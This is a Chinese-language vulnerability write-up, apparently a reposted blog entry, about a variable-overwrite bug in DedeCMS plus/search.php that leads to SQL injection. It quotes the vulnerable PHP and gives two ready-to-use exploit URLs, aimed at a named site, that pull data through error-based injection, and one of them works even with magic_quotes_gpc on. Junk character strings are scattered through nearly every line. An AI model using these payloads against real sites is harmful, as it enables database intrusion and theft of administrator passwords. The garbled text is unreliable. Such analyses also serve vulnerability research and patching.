微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.& k; O; X- `& P0 F6 {) W1 J
作者: c4rp3nt3r@0x50sec.org4 v4 C& U+ c* g; F) R
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.$ l1 u+ t3 z& T, \! k& {4 ]
5 A6 z2 j S$ [黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.0 p+ c ^0 U! z) |
9 a' b, K" K, |1 h============* s1 C. `9 E+ t' L4 V! v5 \% v- u
6 X3 n( ]) c" b1 s4 u9 w" Q. {8 O, f M
1 v/ o( ~7 U- x+ r5 ^$ GDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
9 s4 B) u3 p; K' @. p 2 O/ L# i1 ^& `5 [1 _' }% ^
require_once(dirname(__FILE__).”/../include/common.inc.php”);
+ F0 s; M# R/ N3 S! a+ hrequire_once(DEDEINC.”/arc.searchview.class.php”);
* C" s. i9 g1 R6 L) O$ w6 f: N + Q8 g. n- ~0 H, l& C0 \
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;; H) g9 [! v, P/ ]. y& N& r
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;; N4 I0 W+ M! V
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
# n: C: y6 ?* {. I0 ]3 r$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;6 U; p4 X. G9 c7 ~) k" x9 _3 r: c
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
9 ?4 W0 E) Y' b4 o/ D' M A; H
* I& h) s- Q! Y9 A' Kif(!isset($orderby)) $orderby=”;- H9 D( n5 Y2 v. T
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
$ e% p: n9 y! ~2 Q$ k6 ^8 B4 \
. R0 O& p, k2 U0 V5 x3 A' \ 5 m8 K4 Y- X4 b, g+ I
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;* p( @7 ?( ^0 R
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
" Q, @/ I: h6 a9 }% w3 K3 o ( Z) ?& }9 S U4 z. }9 o5 j! Y$ G' M
if(!isset($keyword)){ K/ m. H0 o$ Y0 h8 ^/ s
if(!isset($q)) $q = ”;
; I1 ?0 a! k0 \) n! J $keyword=$q;8 L1 ^# d2 [# L( x
}
+ ~% h" y6 y+ O) Q1 |5 ]7 L% f! F
) J+ ]( u- C4 T3 |% ^9 M$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
( t% c* x7 u% P2 O% Z$ W U8 z: ~ 0 _+ j+ u% B; ]$ i
//查找栏目信息7 @0 b1 E9 `0 [6 J3 Z
if(empty($typeid))1 y- O* w3 v8 k% F k6 ~+ [8 Z3 r
{
' o& ^- |5 S( i8 }- j $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;5 ^2 a& d; J) X) B& a3 y& o
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
6 E' ]& o' h$ ?0 Q# V- j: S8 z {$ F# |4 k" c+ W6 R
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);$ Z4 w% I& \2 y/ h
fwrite($fp, “<”.”?php\r\n”);
6 ?* u6 v# o+ j3 C* e* e. z $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
: F, s! q# {4 v& `# M! ?8 y $dsql->Execute();
) j" L D) m5 W8 ^ while($row = $dsql->GetArray())7 n- S# l( ^2 s8 [; z: Q4 e1 f
{, w- r& T2 K0 H6 k/ b
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
4 l) B0 O5 F/ Y0 [/ A }
( `* U0 n F2 |% d3 u) H$ ^$ V' @ fwrite($fp, ‘?’.'>’);% `2 Z5 D' h" X1 G2 J6 b/ x. `
fclose($fp);
5 A' a0 {& Y8 t9 B& P9 E6 r' ` }
2 t( G3 X7 E( s7 H5 p //引入栏目缓存并看关键字是否有相关栏目内容8 D, f% b6 M) d, y( ^3 a
require_once($typenameCacheFile);
3 Z2 h/ F0 w* i//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个6 k# Q" k1 Z" N) d* ?* a. b
//4 v; }, N5 F' d2 w5 [
if(isset($typeArr) && is_array($typeArr))
D7 W/ e. c7 [" ?9 q, v; S1 T1 A5 ^ {! d' d" J* Y) H3 I( w5 Z
foreach($typeArr as $id=>$typename)
1 `; g+ u; Q' a, X3 ~ {
" B/ A5 K4 }3 r ) |3 O4 \9 N- k
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
7 ^! e: V$ p9 Y" r( V if($keyword != $keywordn)
) P& n2 \+ G. L6 o {, r% Z+ M/ b) G, ?* t% |1 N
$keyword = $keywordn;
3 _( r4 Y8 m& {' c* l* n5 ~# p) M <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
# p* Y: z1 f/ o break;
& o0 K: k# J* g }
- S5 f. O- a3 V7 R }3 X( K% r2 k' U/ p3 Z
}
! z3 J* C9 \& a; q) V}) u7 G9 K5 I* M5 \: e1 x
然后plus/search.php文件下面定义了一个 Search类的对象 .
, r% J* p. c. J在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
, P4 s* @& C( W r2 k. M% Z$this->TypeLink = new TypeLink($typeid);
* o8 D& |: Z8 L% a! i# O. s
6 @' L2 e# o) F, ITypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.& `& b; W0 T9 Z$ `
1 w, d2 ?8 A) [1 C9 b' aclass TypeLink
8 K% {1 n, k: r' ]1 T. L, Y; `6 z7 o{& J9 c1 s: A% Y2 B% Q1 D9 u4 s8 X
var $typeDir;
" s# h, D: C# v var $dsql;3 x A$ s8 V, f4 K- f
var $TypeID;
+ S: l/ g' Z! R var $baseDir;8 z! b5 Y" Y: w$ G5 K
var $modDir;
5 |( S) ~2 H) t" c( W0 Z var $indexUrl;
: v( L/ \- \% s: i/ C var $indexName;
a' F6 J) E {) g q var $TypeInfos;
+ I7 D6 \2 x1 c var $SplitSymbol;
8 ^" q; A3 v% I7 A var $valuePosition;. ~* ~0 {, L5 h) H4 l
var $valuePositionName;1 n% b# ?9 Z# E) l) v4 ]
var $OptionArrayList;//构造函数///////" r+ Q8 w- u( Y7 Q$ k. g
//php5构造函数
) O- i! C2 u, F) i function __construct($typeid)$ U" [# O1 c }, a; P* w
{
5 ? @+ m. I4 j5 X* { $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
5 V9 o1 J* L$ R7 e8 c& i+ ` $this->indexName = $GLOBALS['cfg_indexname'];
( M- R) v! d3 N3 k2 e $this->baseDir = $GLOBALS['cfg_basedir'];# S( H" R! k/ L& ?& |: ~2 C
$this->modDir = $GLOBALS['cfg_templets_dir'];" k$ {9 p* x7 z6 N
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
* Q, z; F G/ e8 ?+ x7 z $this->dsql = $GLOBALS['dsql'];( I: I# l4 x$ w5 u6 R
$this->TypeID = $typeid;. h4 u% Z3 Q: r+ Z. w" L" \6 X
$this->valuePosition = ”;# \7 G2 p& f6 ]& h/ j
$this->valuePositionName = ”;
6 s W4 V' f) Z8 m: D0 e8 i3 f- N $this->typeDir = ”;
& f8 |2 h! G* d. v% L- ?3 H) @' H( K $this->OptionArrayList = ”;
% B; q; D W; @ p
3 i4 }2 X6 V" L //载入类目信息
8 {. ~" Z) Q' k: C0 z( M2 B
* o4 H" E' [( @; }) B% _ <font color=”Red”>$query = “SELECT tp.*,ch.typename as
0 H0 a3 V/ L; U+ ^2 fctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join, T% z; o# P0 e% P& L1 H% i; q }
`#@__channeltype` ch
# d1 R+ d9 K0 ^! u5 e on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
0 `2 a2 Y5 I# q, m2 T0 Q9 g
" E. i% \9 R% t- w if($typeid > 0)/ ~; v( P% l W" d2 u H& ~3 l3 t6 y
{# o9 o2 p( n+ _
$this->TypeInfos = $this->dsql->GetOne($query);
f; u$ a0 Q9 T利用代码一 需要 即使magic_quotes_gpc = Off4 H3 U5 N6 {: d$ k& y3 B: I- U
' [) X' \. \3 A5 e& k( t: l/ Jwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
4 c% q3 }; n9 e9 n: V ) w) b5 f; Q6 v! i- I+ A
这只是其中一个利用代码… Search 类的构造函数再往下$ T- Z( J4 |0 ]
4 P J5 ~+ I4 H& |$ Q
……省略- t2 f9 I$ k$ t+ H
$this->TypeID = $typeid;2 x( ~4 ~! Q+ L; g1 n8 N; x
……省略
1 M7 l! H: k6 b, r5 u( w2 Xif($this->TypeID==”0″){1 O! Y" G4 S2 W, r$ b
$this->ChannelTypeid=1;; B% N) ^' ?2 O
}else{
$ A; S( Y" d" K# c% F $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲5 R) ~) ?: Y6 p$ c) a- D
//现在不鸡肋了吧亲…
; ?& }1 s3 f% ^ N $this->ChannelTypeid=$row['channeltype'];" A; @) u8 A* v" S* U. _
; z. Z% v! P* c
}0 }7 V) j4 `" Y
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
- v4 N3 w$ ?5 T- P6 s 6 B: _( U4 x7 I* Z* V
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title {, ]. o, J$ b
7 \* y$ T" @! q! i( R5 y如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站& a: v" `% A4 P* A6 t
|